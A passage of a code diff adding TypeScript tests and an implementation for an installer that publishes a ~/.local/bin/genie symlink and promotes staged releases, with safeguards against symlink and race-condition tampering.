recursive: true }); + writeFileSync(f.link, 'foreign'); + + expect(() => prepareCanonicalInstallLink({ trustedHome: f.home, linkPath: f.link, targetPath: f.target })).toThrow( + CanonicalInstallLinkError, + ); + expect(readFileSync(f.link, 'utf8')).toBe('foreign'); + }); + + test('preserves a foreign symlink target', () => { + const f = fixture(); + const victim = join(f.root, 'victim'); + mkdirSync(join(f.home, '.local', 'bin'), { recursive: true }); + writeFileSync(victim, 'victim'); + symlinkSync(victim, f.link); + + expect(() => prepareCanonicalInstallLink({ trustedHome: f.home, linkPath: f.link, targetPath: f.target })).toThrow( + 'points somewhere unexpected', + ); + expect(readFileSync(victim, 'utf8')).toBe('victim'); + expect(readlinkSync(f.link)).toBe(victim); + }); + + test('a final-boundary collision is never overwritten', () => { + const f = fixture(); + const dependencies = { + beforeInvoke: () => writeFileSync(f.link, 'boundary foreign'), + }; + + expect(() => + prepareCanonicalInstallLink({ + trustedHome: f.home, + linkPath: f.link, + targetPath: f.target, + nativeRename: dependencies, + randomId: () => 'boundary', + }), + ).toThrow(); + expect(readFileSync(f.link, 'utf8')).toBe('boundary foreign'); + }); + + test('verification rejects same-target inode replacement', () => { + const f = fixture(); + const guard = prepareCanonicalInstallLink({ + trustedHome: f.home, + linkPath: f.link, + targetPath: f.target, + randomId: () => 'guard', + }); + const held = join(f.root, 'held-link'); + renameSync(f.link, held); + symlinkSync(f.target, f.link); + + expect(() => verifyCanonicalInstallLink(guard)).toThrow('changed'); + expect(readlinkSync(held)).toBe(f.target); + expect(readlinkSync(f.link)).toBe(f.target); + }); + + test('rejects a symlinked ~/.local parent without touching its victim', () => { + const f = fixture(); + const victim = join(f.root, 'local-victim'); + mkdirSync(victim); + symlinkSync(victim, join(f.home, '.local'), 'dir'); + + expect(() => prepareCanonicalInstallLink({ trustedHome: f.home, linkPath: f.link, targetPath: f.target })).toThrow( + 'not a physical directory', + ); + expect(existsSync(join(victim, 'bin'))).toBe(false); + }); + + for (const unsafeAncestor of ['.local', '.local/bin'] as const) { + test(`rejects a group/world-writable ${unsafeAncestor} PATH ancestor`, () => { + const f = fixture(); + const localBin = join(f.home, '.local', 'bin'); + mkdirSync(localBin, { recursive: true }); + chmodSync(join(f.home, unsafeAncestor), 0o777); + + expect(() => + prepareCanonicalInstallLink({ trustedHome: f.home, linkPath: f.link, targetPath: f.target }), + ).toThrow('safe permissions'); + expect(existsSync(f.link)).toBe(false); + }); + } + + test('held parent descriptors prevent an ancestor replacement from redirecting link publication', () => { + const f = fixture(); + const local = join(f.home, '.local'); + const localBin = join(local, 'bin'); + const heldBin = join(f.root, 'held-bin'); + const victim = join(f.root, 'victim-bin'); + mkdirSync(localBin, { recursive: true }); + mkdirSync(victim); + writeFileSync(join(victim, 'sentinel'), 'victim\n'); + + expect(() => + prepareCanonicalInstallLink({ + trustedHome: f.home, + linkPath: f.link, + targetPath: f.target, + afterParentValidated: () => { + renameSync(localBin, heldBin); + symlinkSync(victim, localBin, 'dir'); + }, + }), + ).toThrow(); + expect(readdirSync(victim)).toEqual(['sentinel']); + expect(readFileSync(join(victim, 'sentinel'), 'utf8')).toBe('victim\n'); + expect(existsSync(join(heldBin, 'genie'))).toBe(false); + expect(lstatSync(localBin).isSymbolicLink()).toBe(true); + }); +}); diff --git a/src/lib/install-link.ts b/src/lib/install-link.ts new file mode 100644 index 000000000..b4833a501 --- /dev/null +++ b/src/lib/install-link.ts @@ -0,0 +1,401 @@ +import { dlopen } from 'bun:ffi'; +import { randomUUID } from 'node:crypto'; +import { + constants, + type BigIntStats, + closeSync, + fstatSync, + fsyncSync, + openSync, + readlinkSync, + realpathSync, +} from 'node:fs'; +import { basename, join, resolve } from 'node:path'; +import { + type NativeNoReplaceDependencies, + type PhysicalPathIdentity, + inspectPhysicalPath, + physicalPathIdentitiesEqual, + renamePathNoClobber, +} from './install-transaction.js'; + +export interface CanonicalInstallLinkGuard { + schemaVersion: 1; + linkPath: string; + targetPath: string; + trustedHome: string; + identity: PhysicalPathIdentity; + created: boolean; +} + +export interface PrepareCanonicalInstallLinkOptions { + linkPath: string; + targetPath: string; + trustedHome: string; + nativeRename?: NativeNoReplaceDependencies; + randomId?: () => string; + /** Deterministic race seam after all three parent descriptors are validated. */ + afterParentValidated?: () => void; +} + +interface HeldCanonicalParent { + trustedHome: string; + localRoot: string; + localBin: string; + homeFd: number; + localFd: number; + binFd: number; +} + +interface AtApi { + openDirectory: (parentFd: number, name: string) => number; + mkdir: (parentFd: number, name: string, mode: number) => number; + symlink: (target: string, parentFd: number, name: string) => number; +} + +const LINUX_LIBC_CANDIDATES = [ + 'libc.so.6', + 'libc.so', + 'ld-musl-x86_64.so.1', + 'libc.musl-x86_64.so.1', + 'ld-musl-aarch64.so.1', + 'libc.musl-aarch64.so.1', +] as const; + +let cachedAtApi: AtApi | null | undefined; + +export class CanonicalInstallLinkError extends Error { + constructor(message: string, options?: ErrorOptions) { + super(message, options); + this.name = 'CanonicalInstallLinkError'; + } +} + +function currentUid(): bigint { + if (process.getuid === undefined) + throw new CanonicalInstallLinkError('canonical link requires a POSIX user identity'); + return BigInt(process.getuid()); +} + +function fdReferencePath(fd: number): string { + if (process.platform === 'linux') return `/proc/self/fd/${fd}`; + if (process.platform === 'darwin') return `/dev/fd/${fd}`; + throw new CanonicalInstallLinkError(`canonical link parent descriptors are unsupported on ${process.platform}`); +} + +function cString(value: string): Buffer { + return Buffer.from(`${value}\0`); +} + +function openAtApi(path: string): AtApi | null { + try { + const libc = dlopen(path, { + mkdirat: { args: ['i32', 'cstring', 'u32'], returns: 'i32' }, + openat: { args: ['i32', 'cstring', 'i32', 'u32'], returns: 'i32' }, + symlinkat: { args: ['cstring', 'i32', 'cstring'], returns: 'i32' }, + } as const); + return { + openDirectory: (parentFd, name) => + libc.symbols.openat( + parentFd, + cString(name), + constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW, + 0, + ), + mkdir: (parentFd, name, mode) => libc.symbols.mkdirat(parentFd, cString(name), mode), + symlink: (target, parentFd, name) => libc.symbols.symlinkat(cString(target), parentFd, cString(name)), + }; + } catch { + return null; + } +} + +function atApi(): AtApi { + if (cachedAtApi !== undefined) { + if (cachedAtApi === null) throw new CanonicalInstallLinkError('dirfd-bound libc operations are unavailable'); + return cachedAtApi; + } + const candidates = process.platform === 'darwin' ? ['/usr/lib/libSystem.B.dylib'] : LINUX_LIBC_CANDIDATES; + for (const candidate of candidates) { + const api = openAtApi(candidate); + if (api !== null) { + cachedAtApi = api; + return api; + } + } + cachedAtApi = null; + throw new CanonicalInstallLinkError(`dirfd-bound libc operations are unavailable on ${process.platform}`); +} + +function physicalChildPath(parentFd: number, name: string): string { + return join(resolve(realpathSync(fdReferencePath(parentFd))), name); +} + +function assertSafeOwnedDirectoryStat(stat: BigIntStats, label: string): void { + if (!stat.isDirectory() || stat.isSymbolicLink()) { + throw new CanonicalInstallLinkError(`${label} is not a physical directory`); + } + if (stat.uid !== currentUid() || stat.nlink < 1n || Number(stat.mode & 0o022n) !== 0) { + throw new CanonicalInstallLinkError(`${label} is not current-user-owned with safe permissions`); + } +} + +function directoryObjectsEqual(left: BigIntStats, right: BigIntStats): boolean { + return ( + left.dev === right.dev && + left.ino === right.ino && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid && + left.nlink === right.nlink + ); +} + +function openOwnedDirectory(path: string, label: string): number { + let fd: number; + try { + fd = openSync(path, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + } catch (error) { + throw new CanonicalInstallLinkError(`${label} is unavailable as a no-follow directory`, { cause: error }); + } + try { + assertSafeOwnedDirectoryStat(fstatSync(fd, { bigint: true }), label); + return fd; + } catch (error) { + closeSync(fd); + throw error; + } +} + +function openOwnedChildDirectory(parentFd: number, name: string, label: string, createMissing: boolean): number { + const api = atApi(); + let created = false; + let fd = api.openDirectory(parentFd, name); + if (fd < 0 && createMissing) { + created = api.mkdir(parentFd, name, 0o755) === 0; + fd = api.openDirectory(parentFd, name); + } + if (fd < 0) { + throw new CanonicalInstallLinkError( + `${label} is not a physical directory or is unavailable through its held parent`, + ); + } + try { + assertSafeOwnedDirectoryStat(fstatSync(fd, { bigint: true }), label); + } catch (error) { + closeSync(fd); + throw error; + } + if (created) { + fsyncSync(fd); + fsyncSync(parentFd); + } + return fd; +} + +function holdCanonicalParent( + trustedHomeValue: string, + linkPathValue: string, + createMissing: boolean, +): HeldCanonicalParent { + const trustedHome = resolve(trustedHomeValue); + const linkPath = resolve(linkPathValue); + const localRoot = join(trustedHome, '.local'); + const localBin = join(localRoot, 'bin'); + if (linkPath !== join(localBin, 'genie')) { + throw new CanonicalInstallLinkError('canonical Genie link must be the direct ~/.local/bin/genie path'); + } + const homeFd = openOwnedDirectory(trustedHome, 'trusted home'); + let localFd: number | null = null; + let binFd: number | null = null; + try { + localFd = openOwnedChildDirectory(homeFd, '.local', '~/.local', createMissing); + binFd = openOwnedChildDirectory(localFd, 'bin', '~/.local/bin', createMissing); + return { trustedHome, localRoot, localBin, homeFd, localFd, binFd }; + } catch (error) { + if (binFd !== null) closeSync(binFd); + if (localFd !== null) closeSync(localFd); + closeSync(homeFd); + throw error; + } +} + +function closeCanonicalParent(parent: HeldCanonicalParent): void { + closeSync(parent.binFd); + closeSync(parent.localFd); + closeSync(parent.homeFd); +} + +function assertHeldDirectoryAtPath(fd: number, path: string, label: string): void { + const expected = fstatSync(fd, { bigint: true }); + const observedFd = openOwnedDirectory(path, label); + try { + const observed = fstatSync(observedFd, { bigint: true }); + if (!directoryObjectsEqual(expected, observed)) { + throw new CanonicalInstallLinkError(`${label} changed after its descriptor was validated`); + } + } finally { + closeSync(observedFd); + } +} + +function assertCanonicalChainUnchanged(parent: HeldCanonicalParent): void { + assertHeldDirectoryAtPath(parent.homeFd, parent.trustedHome, 'trusted home'); + const observedLocal = openOwnedChildDirectory(parent.homeFd, '.local', '~/.local', false); + try { + if ( + !directoryObjectsEqual(fstatSync(parent.localFd, { bigint: true }), fstatSync(observedLocal, { bigint: true })) + ) { + throw new CanonicalInstallLinkError('~/.local changed after its descriptor was validated'); + } + } finally { + closeSync(observedLocal); + } + const observedBin = openOwnedChildDirectory(parent.localFd, 'bin', '~/.local/bin', false); + try { + if (!directoryObjectsEqual(fstatSync(parent.binFd, { bigint: true }), fstatSync(observedBin, { bigint: true }))) { + throw new CanonicalInstallLinkError('~/.local/bin changed after its descriptor was validated'); + } + } finally { + closeSync(observedBin); + } +} + +function inspectLink(path: string): PhysicalPathIdentity | null { + try { + return inspectPhysicalPath(path); + } catch (error) { + throw new CanonicalInstallLinkError(`could not inspect canonical link object: ${path}`, { cause: error }); + } +} + +function assertExpectedLink(path: string, target: string, identity: PhysicalPathIdentity): void { + const actual = inspectLink(path); + if (!physicalPathIdentitiesEqual(actual, identity) || actual?.kind !== 'symlink') { + throw new CanonicalInstallLinkError(`canonical Genie link changed or is not a symlink: ${path}`); + } + let rawTarget: string; + try { + rawTarget = readlinkSync(path); + } catch (error) { + throw new CanonicalInstallLinkError(`canonical Genie link could not be read: ${path}`, { cause: error }); + } + if (rawTarget !== target) { + throw new CanonicalInstallLinkError(`canonical Genie link points somewhere unexpected: ${path}`); + } +} + +function guardFor( + parent: HeldCanonicalParent, + linkPath: string, + targetPath: string, + identity: PhysicalPathIdentity, + created: boolean, +): CanonicalInstallLinkGuard { + return { + schemaVersion: 1, + linkPath, + targetPath, + trustedHome: parent.trustedHome, + identity, + created, + }; +} + +/** Verify that a previously admitted canonical link and every PATH ancestor remain exact and safe. */ +export function verifyCanonicalInstallLink(guard: CanonicalInstallLinkGuard): void { + if ( + guard.schemaVersion !== 1 || + guard.linkPath !== resolve(guard.linkPath) || + guard.targetPath !== resolve(guard.targetPath) || + guard.trustedHome !== resolve(guard.trustedHome) + ) { + throw new CanonicalInstallLinkError('canonical link guard is malformed'); + } + const parent = holdCanonicalParent(guard.trustedHome, guard.linkPath, false); + try { + assertCanonicalChainUnchanged(parent); + assertExpectedLink(physicalChildPath(parent.binFd, 'genie'), guard.targetPath, guard.identity); + } finally { + closeCanonicalParent(parent); + } +} + +/** + * Validate the canonical PATH ancestry and admit an existing exact link, but + * never create the public link. This is the pre-promotion collision check. + */ +export function preflightCanonicalInstallLink( + options: PrepareCanonicalInstallLinkOptions, +): CanonicalInstallLinkGuard | null { + const linkPath = resolve(options.linkPath); + const targetPath = resolve(options.targetPath); + if (basename(linkPath) !== 'genie') throw new CanonicalInstallLinkError('canonical link basename must be genie'); + const parent = holdCanonicalParent(options.trustedHome, linkPath, true); + try { + options.afterParentValidated?.(); + assertCanonicalChainUnchanged(parent); + const heldLinkPath = physicalChildPath(parent.binFd, 'genie'); + const existing = inspectLink(heldLinkPath); + if (existing === null) return null; + assertExpectedLink(heldLinkPath, targetPath, existing); + const guard = guardFor(parent, linkPath, targetPath, existing, false); + verifyCanonicalInstallLink(guard); + return guard; + } finally { + closeCanonicalParent(parent); + } +} + +/** + * Admit an existing exact canonical symlink or publish one through the shared + * native no-clobber primitive. Every occupied foreign pathname is preserved. + */ +export function prepareCanonicalInstallLink(options: PrepareCanonicalInstallLinkOptions): CanonicalInstallLinkGuard { + const linkPath = resolve(options.linkPath); + const targetPath = resolve(options.targetPath); + if (basename(linkPath) !== 'genie') throw new CanonicalInstallLinkError('canonical link basename must be genie'); + const parent = holdCanonicalParent(options.trustedHome, linkPath, true); + try { + options.afterParentValidated?.(); + assertCanonicalChainUnchanged(parent); + const heldLinkPath = physicalChildPath(parent.binFd, 'genie'); + const existing = inspectLink(heldLinkPath); + if (existing !== null) { + assertExpectedLink(heldLinkPath, targetPath, existing); + const guard = guardFor(parent, linkPath, targetPath, existing, false); + verifyCanonicalInstallLink(guard); + return guard; + } + + const stagingName = `.genie-install-link-${process.pid}-${(options.randomId ?? randomUUID)()}`; + if (atApi().symlink(targetPath, parent.binFd, stagingName) !== 0) { + throw new CanonicalInstallLinkError('could not reserve an exclusive canonical-link staging name'); + } + const heldStagingPath = physicalChildPath(parent.binFd, stagingName); + const expected = inspectLink(heldStagingPath); + if (expected === null || expected.kind !== 'symlink') { + throw new CanonicalInstallLinkError('canonical-link staging object disappeared or changed kind'); + } + assertCanonicalChainUnchanged(parent); + const physicalBin = resolve(realpathSync(fdReferencePath(parent.binFd))); + const sourcePath = join(physicalBin, stagingName); + const targetPhysicalPath = join(physicalBin, 'genie'); + const result = renamePathNoClobber(sourcePath, targetPhysicalPath, expected, options.nativeRename); + if ( + !result.durable || + !result.parentPathsStable || + result.committedTargetPath !== targetPhysicalPath || + result.sourcePathOccupied || + result.postInvokeError !== undefined + ) { + throw new CanonicalInstallLinkError('canonical link committed with unresolved durability or race evidence'); + } + assertCanonicalChainUnchanged(parent); + const guard = guardFor(parent, linkPath, targetPath, expected, true); + verifyCanonicalInstallLink(guard); + return guard; + } finally { + closeCanonicalParent(parent); + } +} diff --git a/src/lib/install-promotion.test.ts b/src/lib/install-promotion.test.ts new file mode 100644 index 000000000..8b5dbd3e4 --- /dev/null +++ b/src/lib/install-promotion.test.ts @@ -0,0 +1,821 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { + chmodSync, + existsSync, + linkSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + readlinkSync, + renameSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { + INSTALL_PAYLOAD_MEMBERS, + type InstallPayloadMember, + type InstallPromotionDependencies, + InstallPromotionError, + InstallPromotionInterruptedError, + type InstallPromotionRenameEvent, + admitExternalInstallStaging, + closeInstallStagingDirectory, + createInstallStagingDirectory, + installPromotionCapability, + promoteStagedInstall, + recoverPendingInstallPromotions, + removeInstallStagingDirectory, + verifyAdmittedInstallStagingPayload, +} from './install-promotion.js'; +import { inspectPhysicalPath, physicalPathIdentitiesEqual } from './install-transaction.js'; + +const TEST_TRANSACTION_ID = '11111111-1111-4111-8111-111111111111'; +const roots: string[] = []; + +interface Fixture { + root: string; + home: string; + bin: string; + staging: string; +} + +function makeRoot(): string { + const root = mkdtempSync(join(tmpdir(), 'genie-install-promotion-')); + roots.push(root); + return root; +} + +function writePayload(root: string, generation: string): void { + for (const name of ['.agents', '.claude-plugin', 'plugins', 'skills', 'templates']) { + mkdirSync(join(root, name), { recursive: true }); + writeFileSync(join(root, name, 'generation.txt'), `${generation}:${name}\n`); + } + writeFileSync(join(root, 'LICENSE'), `${generation}:license\n`); + writeFileSync(join(root, 'VERSION'), `${generation}\n`); + writeFileSync(join(root, 'genie'), `#!/bin/sh\necho genie ${generation}\n`); + chmodSync(join(root, 'genie'), 0o755); +} + +function makeFixture(withLive = true): Fixture { + const root = makeRoot(); + const home = join(root, 'home'); + const bin = join(home, 'bin'); + mkdirSync(bin, { recursive: true }); + if (withLive) writePayload(bin, '1.0.0'); + const staging = join(bin, '.install-staging-test'); + mkdirSync(staging, { mode: 0o700 }); + writePayload(staging, '2.0.0'); + return { root, home, bin, staging }; +} + +function dependencies(overrides: Omit = {}): InstallPromotionDependencies { + return { randomId: () => TEST_TRANSACTION_ID, ...overrides }; +} + +function promote( + fixture: Fixture, + extra: { + dependencies?: InstallPromotionDependencies; + verifyVersion?: (phase: 'staged' | 'live') => boolean | undefined; + } = {}, +) { + return promoteStagedInstall({ + genieHome: fixture.home, + stagingRoot: fixture.staging, + expectedVersion: '2.0.0', + verifyVersion: ({ phase }) => extra.verifyVersion?.(phase), + dependencies: extra.dependencies ?? dependencies(), + }); +} + +function pendingRoots(fixture: Fixture): string[] { + return readdirSync(fixture.home) + .filter((name) => name.startsWith('.install-transaction-') && !name.startsWith('.install-transaction-preparing-')) + .map((name) => join(fixture.home, name)); +} + +function assertGeneration(path: string, generation: string): void { + expect(readFileSync(join(path, 'VERSION'), 'utf8')).toBe(`${generation}\n`); + expect(readFileSync(join(path, 'plugins', 'generation.txt'), 'utf8')).toBe(`${generation}:plugins\n`); +} + +function interruption(operation: InstallPromotionRenameEvent['operation'], member: InstallPayloadMember | null) { + return dependencies({ + interruptAfterRename: (event) => event.operation === operation && event.member === member, + }); +} + +function writeReceipt( + transactionRoot: string, + sequence: number, + phase: 'committed' | 'created' | 'published' | 'rollback-started' | 'rolledback' | 'verified', + mode = 0o600, + member: InstallPayloadMember | null = null, +): void { + const body = { + schemaVersion: 1, + transactionId: TEST_TRANSACTION_ID, + sequence, + phase, + member, + }; + writeFileSync( + join(transactionRoot, 'receipts', `${sequence.toString().padStart(12, '0')}.json`), + `${JSON.stringify(body)}\n`, + { + mode, + }, + ); +} + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +describe('installer promotion transaction', () => { + test('reports native capability and the exact release payload allowlist', () => { + const result = installPromotionCapability(); + expect(result.available).toBe(true); + expect(result.members).toEqual([...INSTALL_PAYLOAD_MEMBERS]); + }); + + test('promotes one physical generation, retains staging, and archives every prior object without copying', () => { + const fixture = makeFixture(); + const priorLicense = inspectPhysicalPath(join(fixture.bin, 'LICENSE')); + const priorBinary = inspectPhysicalPath(join(fixture.bin, 'genie')); + + const report = promote(fixture); + + expect(report.outcome).toBe('committed'); + expect(lstatSync(report.archivePath).isDirectory()).toBe(true); + expect(lstatSync(fixture.staging).isDirectory()).toBe(true); + expect(readdirSync(fixture.staging)).toEqual([]); + assertGeneration(fixture.bin, '2.0.0'); + for (const name of INSTALL_PAYLOAD_MEMBERS) expect(lstatSync(join(fixture.bin, name)).isSymbolicLink()).toBe(false); + expect( + physicalPathIdentitiesEqual(inspectPhysicalPath(join(report.archivePath, 'prior', 'LICENSE')), priorLicense), + ).toBe(true); + expect(report.priorBinaryPath).toBe(join(fixture.bin, '.previous', `genie-prior-${TEST_TRANSACTION_ID}`)); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(report.priorBinaryPath as string), priorBinary)).toBe(true); + expect(recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() })).toEqual([]); + }); + + test('rejects a stale VERSION stamp without changing the current or staged generation', () => { + const fixture = makeFixture(); + writeFileSync(join(fixture.staging, 'VERSION'), '1.9.9\n'); + const liveBefore = inspectPhysicalPath(fixture.bin); + const stagedBefore = inspectPhysicalPath(fixture.staging); + + expect(() => promote(fixture)).toThrow('staged VERSION does not exactly match 2.0.0'); + + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(fixture.bin), liveBefore)).toBe(true); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(fixture.staging), stagedBefore)).toBe(true); + expect(pendingRoots(fixture)).toEqual([]); + }); + + test('rejects a multiply linked VERSION stamp without changing the current or staged generation', () => { + const fixture = makeFixture(); + const versionAlias = join(fixture.root, 'VERSION-alias'); + linkSync(join(fixture.staging, 'VERSION'), versionAlias); + const liveBefore = inspectPhysicalPath(fixture.bin); + const stagedBefore = inspectPhysicalPath(fixture.staging); + + expect(() => promote(fixture)).toThrow('staged VERSION is not a bounded owned regular file'); + + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(fixture.bin), liveBefore)).toBe(true); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(fixture.staging), stagedBefore)).toBe(true); + expect(readFileSync(versionAlias, 'utf8')).toBe('2.0.0\n'); + expect(pendingRoots(fixture)).toEqual([]); + }); + + const malformedVersionStamps: Array<{ label: string; contents: string }> = [ + { label: 'missing terminal LF', contents: '2.0.0' }, + { label: 'CRLF', contents: '2.0.0\r\n' }, + { label: 'extra whitespace', contents: ' 2.0.0\n' }, + { label: 'extra lines', contents: '2.0.0\nforeign\n' }, + { label: 'oversized content', contents: '2.0.0\n'.padEnd(257, 'x') }, + ]; + for (const { label, contents } of malformedVersionStamps) { + test(`rejects ${label} in VERSION without changing the current install`, () => { + const fixture = makeFixture(); + writeFileSync(join(fixture.staging, 'VERSION'), contents); + const liveBefore = inspectPhysicalPath(fixture.bin); + const stagedBefore = inspectPhysicalPath(fixture.staging); + + expect(() => promote(fixture)).toThrow(InstallPromotionError); + + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(fixture.bin), liveBefore)).toBe(true); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(fixture.staging), stagedBefore)).toBe(true); + expect(pendingRoots(fixture)).toEqual([]); + }); + } + + test('a live verification failure restores the exact prior generation and archives a rolled-back journal', () => { + const fixture = makeFixture(); + const prior = inspectPhysicalPath(join(fixture.bin, 'plugins')); + let failure: unknown; + + try { + promote(fixture, { verifyVersion: (phase) => (phase === 'live' ? false : undefined) }); + } catch (error) { + failure = error; + } + + expect(failure).toBeInstanceOf(InstallPromotionError); + expect((failure as InstallPromotionError).rolledBack).toBe(true); + expect((failure as InstallPromotionError).archivePath).toContain('.rolledback'); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(join(fixture.bin, 'plugins')), prior)).toBe(true); + expect(pendingRoots(fixture)).toEqual([]); + }); + + test('a rollback failure before returning VERSION has already removed the incoming executable', () => { + const fixture = makeFixture(); + let rollbackStarted = false; + const observed: { binary: boolean | null; version: string | null } = { binary: null, version: null }; + const deps = dependencies({ + beforeRename: (event) => { + if (rollbackStarted && event.operation === 'return-incoming' && event.member === 'VERSION') { + observed.binary = existsSync(join(fixture.bin, 'genie')); + observed.version = readFileSync(join(fixture.bin, 'VERSION'), 'utf8'); + throw new Error('simulated rollback failure before returning VERSION'); + } + }, + }); + + expect(() => + promote(fixture, { + dependencies: deps, + verifyVersion: (phase) => { + if (phase !== 'live') return undefined; + rollbackStarted = true; + return false; + }, + }), + ).toThrow('rollback retained a transaction'); + + expect(observed.binary).toBe(false); + expect(observed.version).toBe('2.0.0\n'); + expect(existsSync(join(fixture.bin, 'genie'))).toBe(false); + expect(pendingRoots(fixture)).toHaveLength(1); + + const [report] = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(report?.outcome).toBe('rolledback'); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + }); + + test('a rollback crash after restoring VERSION leaves the executable absent until it is restored last', () => { + const fixture = makeFixture(); + let rollbackStarted = false; + const deps = dependencies({ + interruptAfterRename: (event) => + rollbackStarted && event.operation === 'restore-prior' && event.member === 'VERSION', + }); + + expect(() => + promote(fixture, { + dependencies: deps, + verifyVersion: (phase) => { + if (phase !== 'live') return undefined; + rollbackStarted = true; + return false; + }, + }), + ).toThrow('rollback retained a transaction'); + + expect(readFileSync(join(fixture.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + expect(existsSync(join(fixture.bin, 'genie'))).toBe(false); + expect(pendingRoots(fixture)).toHaveLength(1); + + const observedBeforeRestore: { binary: boolean | null; version: string | null } = { + binary: null, + version: null, + }; + const recoveryDependencies = dependencies({ + beforeRename: (event) => { + if (event.operation === 'restore-prior' && event.member === 'genie') { + observedBeforeRestore.version = readFileSync(join(fixture.bin, 'VERSION'), 'utf8'); + observedBeforeRestore.binary = existsSync(join(fixture.bin, 'genie')); + } + }, + }); + const [report] = recoverPendingInstallPromotions({ + genieHome: fixture.home, + dependencies: recoveryDependencies, + }); + + expect(report?.outcome).toBe('rolledback'); + expect(observedBeforeRestore.version).toBe('1.0.0\n'); + expect(observedBeforeRestore.binary).toBe(false); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + }); + + test('a crash after capturing the prior executable leaves its old VERSION visible without an executable', () => { + const fixture = makeFixture(); + + expect(() => promote(fixture, { dependencies: interruption('capture-prior', 'genie') })).toThrow( + InstallPromotionInterruptedError, + ); + + expect(readFileSync(join(fixture.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + expect(existsSync(join(fixture.bin, 'genie'))).toBe(false); + expect(pendingRoots(fixture)).toHaveLength(1); + + const observedBeforeRestore: { binary: boolean | null; version: string | null } = { + binary: null, + version: null, + }; + const recoveryDependencies = dependencies({ + beforeRename: (event) => { + if (event.operation === 'restore-prior' && event.member === 'genie') { + observedBeforeRestore.version = readFileSync(join(fixture.bin, 'VERSION'), 'utf8'); + observedBeforeRestore.binary = existsSync(join(fixture.bin, 'genie')); + } + }, + }); + const [report] = recoverPendingInstallPromotions({ + genieHome: fixture.home, + dependencies: recoveryDependencies, + }); + + expect(report?.outcome).toBe('rolledback'); + expect(observedBeforeRestore.version).toBe('1.0.0\n'); + expect(observedBeforeRestore.binary).toBe(false); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + }); + + test('a failure before capturing VERSION observes the prior executable already absent and restores the pair', () => { + const fixture = makeFixture(); + const observed: { binary: boolean | null; version: string | null } = { binary: null, version: null }; + const deps = dependencies({ + beforeRename: (event) => { + if (event.operation === 'capture-prior' && event.member === 'VERSION') { + observed.binary = existsSync(join(fixture.bin, 'genie')); + observed.version = readFileSync(join(fixture.bin, 'VERSION'), 'utf8'); + throw new Error('simulated failure before capturing VERSION'); + } + }, + }); + + expect(() => promote(fixture, { dependencies: deps })).toThrow( + 'install promotion failed and the exact prior generation was restored', + ); + + expect(observed.binary).toBe(false); + expect(observed.version).toBe('1.0.0\n'); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + expect(pendingRoots(fixture)).toEqual([]); + }); + + test('recovers a crash immediately after capture by inferring the exact physical state', () => { + const fixture = makeFixture(); + const prior = inspectPhysicalPath(join(fixture.bin, '.agents')); + + expect(() => promote(fixture, { dependencies: interruption('capture-prior', '.agents') })).toThrow( + InstallPromotionInterruptedError, + ); + expect(pendingRoots(fixture)).toHaveLength(1); + expect(existsSync(join(fixture.bin, '.agents'))).toBe(false); + + const reports = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(reports.map((report) => report.outcome)).toEqual(['rolledback']); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(join(fixture.bin, '.agents')), prior)).toBe(true); + assertGeneration(fixture.staging, '2.0.0'); + expect(recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() })).toEqual([]); + }); + + test('recovers a crash after publishing an originally absent member back into staging', () => { + const fixture = makeFixture(false); + const incoming = inspectPhysicalPath(join(fixture.staging, '.agents')); + + expect(() => promote(fixture, { dependencies: interruption('publish-incoming', '.agents') })).toThrow( + InstallPromotionInterruptedError, + ); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(join(fixture.bin, '.agents')), incoming)).toBe(true); + + const [report] = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(report?.outcome).toBe('rolledback'); + expect(existsSync(join(fixture.bin, '.agents'))).toBe(false); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(join(fixture.staging, '.agents')), incoming)).toBe(true); + }); + + test('a final-boundary foreign target is preserved and keeps the transaction pending', () => { + const fixture = makeFixture(false); + const foreign = join(fixture.bin, '.agents'); + let injected = false; + const deps = dependencies({ + beforeRename: (event) => { + if (!injected && event.operation === 'publish-incoming' && event.member === '.agents') { + injected = true; + writeFileSync(foreign, 'foreign target\n'); + } + }, + }); + + expect(() => promote(fixture, { dependencies: deps })).toThrow('rollback retained a transaction'); + expect(readFileSync(foreign, 'utf8')).toBe('foreign target\n'); + expect(lstatSync(join(fixture.staging, '.agents')).isDirectory()).toBe(true); + expect(pendingRoots(fixture)).toHaveLength(1); + }); + + test('same-byte inode ABA at the native boundary is never mistaken for the journaled source', () => { + const fixture = makeFixture(); + const live = join(fixture.bin, 'LICENSE'); + const originalPath = join(fixture.root, 'original-license'); + const original = inspectPhysicalPath(live); + let injected = false; + const deps = dependencies({ + beforeRename: (event) => { + if (!injected && event.operation 